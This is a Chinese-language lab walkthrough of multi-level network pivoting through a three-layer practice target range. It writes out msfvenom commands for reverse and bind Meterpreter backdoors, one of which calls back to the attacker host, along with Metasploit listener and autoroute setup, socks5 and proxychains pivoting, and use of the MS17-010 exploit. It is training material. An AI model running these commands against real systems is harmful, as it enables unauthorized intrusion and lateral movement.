前言
在有些內網環境中,它的內網環境分為好幾層,我們必須通過拿到一層內網中服務器的權限之后再通過這一內網中的服務器進一步訪問二層內網中的其他服務器。在這種環境中,我們就需要多級代理突破層層內網,來實現在內網中漫游。
環境搭建
本次實驗環境借助一個CFS三層的靶機,靶機下載地址如下
【CFS三層靶機環境】百度網盤鏈接: 鏈接: https://pan.baidu.com/s/1LJueA-X02K7HZXr8QsOmeg 提取碼: dkcp 解壓密碼:teamssix.com
網絡拓撲圖如下(子網掩碼都為24位)
在該網絡拓撲中178網段模擬的是外網環境,239網段為第一層內網,154網段為第二層內網,每一個target靶機中都存放着一個flag,最終目的是要拿到所有目標靶機中的flag,當然我們這討論的是代理知識,所以flag我們就忽略掉。
攻擊過程
首先用nmap對178網段中存活主機做一個探測
可以發現在178網段中存在一個142的地址,也就是centos7的地址,發現142可以再利用nmap對其進行一個系統掃描
其中開放這80端口,我們可以對他的80端口進行一個訪問,最終是會發現存在一個Think PHP
該版本存在一個RCE執行,這里利用工具進行一鍵get shell
然后蟻劍鏈接
連接之后,我們利用msfvenom創建一個后門
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.178.128 lport=4444 -f elf >shell.elf
通過web shell上傳到target 1服務器上,然后在kali上配置監聽
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.178.128
執行后門拿下target 1服務器權限
在拿到meterpreter權限之后,我們可以 run get_local_subnets 查看一下網絡中的路由信息
meterpreter > run get_local_subnets
可以發現還存在239的網段,那我們先往session里面添加一條239網段的路由
meterpreter > run autoroute -s 192.168.239.0/24
然后使用 run autoroute -p 查看session中的路由是否添加成功。
發現已存在,接下來我們使用一個socks5代理模塊
msf5 exploit(multi/handler) > use auxiliary/server/socks5
然后配置好ip,run啟動
配置好了socks代理,我們可以借助一款kali上自帶的全局代理軟件proxychains來連接socks代理
首先我們對proxychains代理軟件進行配置
vim /etc/proxychains.conf
在末尾添加socks代理的映射關系(且與在MSF上配置的相對應)
配置好后,我們利用代理軟件來啟動nmap對239網段中存活主機做一個探測
proxychains nmap -sT -p80 192.168.239.1/24 #正常不能添加-p參數,這里為上帝視角知道239網段中129主機啟動着一個web服務,目的是讓掃描快一點
掃描到239網段中的129地址,接下來和之前一樣對其進行一個系統的掃描,訪問web服務,web服務中存在sql注入然后拿下web權限(target2拿web權限的操作省略),拿下權限通過msfvenom創建后門進行上傳,但是此處的后門要生成一個正向的后門。
msfvenom -p linux/x64/meterpreter/bind_tcp lport=1234 -f elf >shell2.elf
此處為什么要生成一個正向的木馬呢,我們在這分析一下,這里再放下拓撲圖,方便理解。
我們拿下了target2的web權限,加入這是我們上傳的是反向的木馬,那么target2就要去尋找我們kali的路由,但是target2主機中沒有kali的路由,那么就會導致我們的反彈shell失敗,之后我們再來看看正向的。
我們生成了一個正向的木馬,我們的kali攻擊機就會去主動尋找target2的服務器,這個時候我們應為做了一個socks5的代理,我們的流量會通過kali的ip的1080端口代理給target1,然后target1中是存在239網段中的路由的,所以我們可以正常進行連接。
理解好之后,之后的操作就很簡單了,通過我們通過sql注入拿到的web權限上傳木馬,然后在kali上利用proxychains啟動msfconsole
root@root:~/桌面# proxychains msfconsole
然后配置監聽
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp msf5 exploit(multi/handler) > set lport 1234
msf5 exploit(multi/handler) > set rhost 192.168.239.129
執行木馬即可拿下第二層主機服務器權限
拿下第二層之后,之后操作大同小異,添加路由,探測第三層存活主機,發現192.168.154.129的ip,然后該台機器存在永恆之藍漏洞,利用ms17-010拿下第三層權限
msf5 exploit(multi/handler) > use exploit/windows/smb/ms17_010_psexec
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
至此三個靶機中的flag都可以找到。